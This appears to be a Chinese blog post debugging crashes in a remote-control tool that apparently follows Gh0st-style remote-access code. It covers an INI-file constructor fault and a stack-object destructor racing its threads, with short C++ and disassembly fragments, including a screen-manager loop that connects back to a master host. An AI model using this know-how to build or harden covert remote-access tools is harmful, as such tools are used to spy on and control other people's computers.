<code class="language-C hljs has-numbering" style="display: block; padding: 0px; color: inherit; box-sizing: border-box; font-family: 'Source Code Pro', monospace;font-size:undefined; white-space: pre; border-radius: 0px; word-wrap: normal; background: transparent;">CIniFile m_IniFile;</code><ul class="pre-numbering" style="box-sizing: border-box; position: absolute; width: 50px; top: 0px; left: 0px; margin: 0px; padding: 6px 0px 40px; border-right-width: 1px; border-right-style: solid; border-right-color: rgb(221, 221, 221); list-style: none; text-align: right; background-color: rgb(238, 238, 238);"><li style="box-sizing: border-box; padding: 0px 5px;">1</li></ul>
所以要首先调用 CIniFile 的构造函数
<code class="language-C hljs objectivec has-numbering" style="display: block; padding: 0px; color: inherit; box-sizing: border-box; font-family: 'Source Code Pro', monospace;font-size:undefined; white-space: pre; border-radius: 0px; word-wrap: normal; background: transparent;">CIniFile::CIniFile(<span class="hljs-keyword" style="color: rgb(0, 0, 136); box-sizing: border-box;">void</span>) { <span class="hljs-keyword" style="color: rgb(0, 0, 136); box-sizing: border-box;">char</span> szAppName[MAX_PATH]; <span class="hljs-keyword" style="color: rgb(0, 0, 136); box-sizing: border-box;">int</span> len; HINSTANCE hinst; <span class="hljs-comment" style="color: rgb(136, 0, 0); box-sizing: border-box;">//hinst = AfxGetInstanceHandle();</span> ::GetModuleFileName(GetModuleHandle(<span class="hljs-literal" style="color: rgb(0, 102, 102); box-sizing: border-box;">NULL</span>), szAppName, <span class="hljs-keyword" style="color: rgb(0, 0, 136); box-sizing: border-box;">sizeof</span>(szAppName)); len = strlen(szAppName); }</code><ul class="pre-numbering" style="box-sizing: border-box; position: absolute; width: 50px; top: 0px; left: 0px; margin: 0px; padding: 6px 0px 40px; border-right-width: 1px; border-right-style: solid; border-right-color: rgb(221, 221, 221); list-style: none; text-align: right; background-color: rgb(238, 238, 238);"><li style="box-sizing: border-box; padding: 0px 5px;">1</li><li style="box-sizing: border-box; padding: 0px 5px;">2</li><li style="box-sizing: border-box; padding: 0px 5px;">3</li><li style="box-sizing: border-box; padding: 0px 5px;">4</li><li style="box-sizing: border-box; padding: 0px 5px;">5</li><li style="box-sizing: border-box; padding: 0px 5px;">6</li><li style="box-sizing: border-box; padding: 0px 5px;">7</li><li style="box-sizing: border-box; padding: 0px 5px;">8</li><li style="box-sizing: border-box; padding: 0px 5px;">9</li></ul>
因为 AfxGetInstanceHandle() 调用导致异常。
具体可见CSDN论坛讨论。
---------------------------------------------------------------------------------------------------------------------------------
11.栈上对象多线程,析构函数导致程序崩溃
打开主控端。开启被控端, 此时主控端显示上线。
在server端点击桌面管理可以正常显示被控端桌面,然后关闭远程桌面,此时被控端出现一个错误:
TestDll.exe 中的 0x5950cc6f (server.dll) 处有未经处理的异常: 0xC0000005: 读取位置 0x02ecfca4 时发生访问冲突
<code class="hljs avrasm has-numbering" style="display: block; padding: 0px; color: inherit; box-sizing: border-box; font-family: 'Source Code Pro', monospace;font-size:undefined; white-space: pre; border-radius: 0px; word-wrap: normal; background: transparent;">nRet = m_pClient->Send((LPBYTE)lpData, nSize)<span class="hljs-comment" style="color: rgb(136, 0, 0); box-sizing: border-box;">;</span> <span class="hljs-number" style="color: rgb(0, 102, 102); box-sizing: border-box;">5950</span>CC64 <span class="hljs-keyword" style="color: rgb(0, 0, 136); box-sizing: border-box;">mov</span> eax,dword ptr [ebp+<span class="hljs-number" style="color: rgb(0, 102, 102); box-sizing: border-box;">0</span>Ch] <span class="hljs-number" style="color: rgb(0, 102, 102); box-sizing: border-box;">5950</span>CC67 <span class="hljs-keyword" style="color: rgb(0, 0, 136); box-sizing: border-box;">push</span> eax <span class="hljs-number" style="color: rgb(0, 102, 102); box-sizing: border-box;">5950</span>CC68 <span class="hljs-keyword" style="color: rgb(0, 0, 136); box-sizing: border-box;">mov</span> ecx,dword ptr [ebp+<span class="hljs-number" style="color: rgb(0, 102, 102); box-sizing: border-box;">8</span>] <span class="hljs-number" style="color: rgb(0, 102, 102); box-sizing: border-box;">5950</span>CC6B <span class="hljs-keyword" style="color: rgb(0, 0, 136); box-sizing: border-box;">push</span> ecx <span class="hljs-number" style="color: rgb(0, 102, 102); box-sizing: border-box;">5950</span>CC6C <span class="hljs-keyword" style="color: rgb(0, 0, 136); box-sizing: border-box;">mov</span> edx,dword ptr [ebp-<span class="hljs-number" style="color: rgb(0, 102, 102); box-sizing: border-box;">18</span>h] <span class="hljs-number" style="color: rgb(0, 102, 102); box-sizing: border-box;">5950</span>CC6F <span class="hljs-keyword" style="color: rgb(0, 0, 136); box-sizing: border-box;">mov</span> ecx,dword ptr [edx+<span class="hljs-number" style="color: rgb(0, 102, 102); box-sizing: border-box;">4</span>] </code><ul class="pre-numbering" style="box-sizing: border-box; position: absolute; width: 50px; top: 0px; left: 0px; margin: 0px; padding: 6px 0px 40px; border-right-width: 1px; border-right-style: solid; border-right-color: rgb(221, 221, 221); list-style: none; text-align: right; background-color: rgb(238, 238, 238);"><li style="box-sizing: border-box; padding: 0px 5px;">1</li><li style="box-sizing: border-box; padding: 0px 5px;">2</li><li style="box-sizing: border-box; padding: 0px 5px;">3</li><li style="box-sizing: border-box; padding: 0px 5px;">4</li><li style="box-sizing: border-box; padding: 0px 5px;">5</li><li style="box-sizing: border-box; padding: 0px 5px;">6</li><li style="box-sizing: border-box; padding: 0px 5px;">7</li></ul>
此时执行到的指令位置是 5950CC6F
对应的源代码是
<code class="language-C hljs r has-numbering" style="display: block; padding: 0px; color: inherit; box-sizing: border-box; font-family: 'Source Code Pro', monospace;font-size:undefined; white-space: pre; border-radius: 0px; word-wrap: normal; background: transparent;">int CManager::Send(LPBYTE lpData, UINT nSize) { int nRet = <span class="hljs-number" style="color: rgb(0, 102, 102); box-sizing: border-box;">0</span>; <span class="hljs-keyword" style="color: rgb(0, 0, 136); box-sizing: border-box;">try</span> { nRet = m_pClient->Send((LPBYTE)lpData, nSize); }catch(<span class="hljs-keyword" style="color: rgb(0, 0, 136); box-sizing: border-box;">...</span>){}; <span class="hljs-keyword" style="color: rgb(0, 0, 136); box-sizing: border-box;">return</span> nRet; }</code><ul class="pre-numbering" style="box-sizing: border-box; position: absolute; width: 50px; top: 0px; left: 0px; margin: 0px; padding: 6px 0px 40px; border-right-width: 1px; border-right-style: solid; border-right-color: rgb(221, 221, 221); list-style: none; text-align: right; background-color: rgb(238, 238, 238);"><li style="box-sizing: border-box; padding: 0px 5px;">1</li><li style="box-sizing: border-box; padding: 0px 5px;">2</li><li style="box-sizing: border-box; padding: 0px 5px;">3</li><li style="box-sizing: border-box; padding: 0px 5px;">4</li><li style="box-sizing: border-box; padding: 0px 5px;">5</li><li style="box-sizing: border-box; padding: 0px 5px;">6</li><li style="box-sizing: border-box; padding: 0px 5px;">7</li><li style="box-sizing: border-box; padding: 0px 5px;">8</li><li style="box-sizing: border-box; padding: 0px 5px;">9</li></ul>
寄存器edx的数值是 edx 0x02ecfca0 unsigned long
奇怪的是在关闭远程桌面以前这个函数执行了很多次,都没有出现这个问题。现在在关闭远程桌面之后就这样。通过对比发现 出现访问异常的内存 在关闭远程桌面之后数值出现了变化。
可以在关闭远程桌面之后 vs2010下内存访问断点,edx + 4 的位置
<code class="hljs haskell has-numbering" style="display: block; padding: 0px; color: inherit; box-sizing: border-box; font-family: 'Source Code Pro', monospace;font-size:undefined; white-space: pre; border-radius: 0px; word-wrap: normal; background: transparent;"> 调试 -> 新建断点 -> 新建内存断点</code><ul class="pre-numbering" style="box-sizing: border-box; position: absolute; width: 50px; top: 0px; left: 0px; margin: 0px; padding: 6px 0px 40px; border-right-width: 1px; border-right-style: solid; border-right-color: rgb(221, 221, 221); list-style: none; text-align: right; background-color: rgb(238, 238, 238);"><li style="box-sizing: border-box; padding: 0px 5px;">1</li></ul>
此时按F5发现中断在manager类的析构函数里面:
<code class="language-C hljs mathematica has-numbering" style="display: block; padding: 0px; color: inherit; box-sizing: border-box; font-family: 'Source Code Pro', monospace;font-size:undefined; white-space: pre; border-radius: 0px; word-wrap: normal; background: transparent;">CManager::~CManager() <span class="hljs-list" style="box-sizing: border-box;">{ CloseHandle(m_hEventDlgOpen); }</span></code><ul class="pre-numbering" style="box-sizing: border-box; position: absolute; width: 50px; top: 0px; left: 0px; margin: 0px; padding: 6px 0px 40px; border-right-width: 1px; border-right-style: solid; border-right-color: rgb(221, 221, 221); list-style: none; text-align: right; background-color: rgb(238, 238, 238);"><li style="box-sizing: border-box; padding: 0px 5px;">1</li><li style="box-sizing: border-box; padding: 0px 5px;">2</li><li style="box-sizing: border-box; padding: 0px 5px;">3</li><li style="box-sizing: border-box; padding: 0px 5px;">4</li></ul>
再看堆栈窗口 是从 Loop_ScreenManager 函数结尾调用而来的:
<code class="language-C hljs lasso has-numbering" style="display: block; padding: 0px; color: inherit; box-sizing: border-box; font-family: 'Source Code Pro', monospace;font-size:undefined; white-space: pre; border-radius: 0px; word-wrap: normal; background: transparent;">DWORD WINAPI Loop_ScreenManager(SOCKET sRemote) { CClientSocket socketClient; <span class="hljs-keyword" style="color: rgb(0, 0, 136); box-sizing: border-box;">if</span> (<span class="hljs-subst" style="color: rgb(0, 0, 0); box-sizing: border-box;">!</span>socketClient<span class="hljs-built_in" style="color: rgb(102, 0, 102); box-sizing: border-box;">.</span>Connect(CKernelManager<span class="hljs-tag" style="color: rgb(0, 102, 102); box-sizing: border-box;">::m_strMasterHost</span>, CKernelManager<span class="hljs-tag" style="color: rgb(0, 102, 102); box-sizing: border-box;">::m_nMasterPort</span>)) <span class="hljs-keyword" style="color: rgb(0, 0, 136); box-sizing: border-box;">return</span> <span class="hljs-subst" style="color: rgb(0, 0, 0); box-sizing: border-box;">-</span><span class="hljs-number" style="color: rgb(0, 102, 102); box-sizing: border-box;">1</span>; CScreenManager manager(<span class="hljs-subst" style="color: rgb(0, 0, 0); box-sizing: border-box;">&</span>socketClient); socketClient<span class="hljs-built_in" style="color: rgb(102, 0, 102); box-sizing: border-box;">.</span>run_event_loop(); <span class="hljs-keyword" style="color: rgb(0, 0, 136); box-sizing: border-box;">return</span> <span class="hljs-number" style="color: rgb(0, 102, 102); box-sizing: border-box;">0</span>; }</code><ul class="pre-numbering" style="box-sizing: border-box; position: absolute; width: 50px; top: 0px; left: 0px; margin: 0px; padding: 6px 0px 40px; border-right-width: 1px; border-right-style: solid; border-right-color: rgb(221, 221, 221); list-style: none; text-align: right; background-color: rgb(238, 238, 238);"><li style="box-sizing: border-box; padding: 0px 5px;">1</li><li style="box-sizing: border-box; padding: 0px 5px;">2</li><li style="box-sizing: border-box; padding: 0px 5px;">3</li><li style="box-sizing: border-box; padding: 0px 5px;">4</li><li style="box-sizing: border-box; padding: 0px 5px;">5</li><li style="box-sizing: border-box; padding: 0px 5px;">6</li><li style="box-sizing: border-box; padding: 0px 5px;">7</li><li style="box-sizing: border-box; padding: 0px 5px;">8</li><li style="box-sizing: border-box; padding: 0px 5px;">9</li><li style="box-sizing: border-box; padding: 0px 5px;">10</li><li style="box-sizing: border-box; padding: 0px 5px;">11</li><li style="box-sizing: border-box; padding: 0px 5px;">12</li></ul>
这样就大概分析出执行流程:
在上面函数中定义了一个CScreenManager类的对象manager,这个对象在栈中。CScreenManager基类是 CManager
当在主控端把远程桌面关闭之后run_event_loop 会返回,这样这个函数也就返回了,对象manager也就开始调用自己的析构函数,以前能访问的现在也就不能访问了。 所以就会出现上面的问题。
其实在运行的时候CScreenManager类的构造函数中创建了2个线程ControlThread ,WorkThread,当正常运行没有调试器中断的时候当函数 Loop_ScreenManager 执行完之后ControlThread 这个线程还未完全退出,不知道这样会产生什么意外后果??
经过试验在 函数 Loop_ScreenManager结束之前加入 sleep(20) 可以解决这个问题。
------------------------------------------------------------------------------------------------------------------------------------
未完待续。。。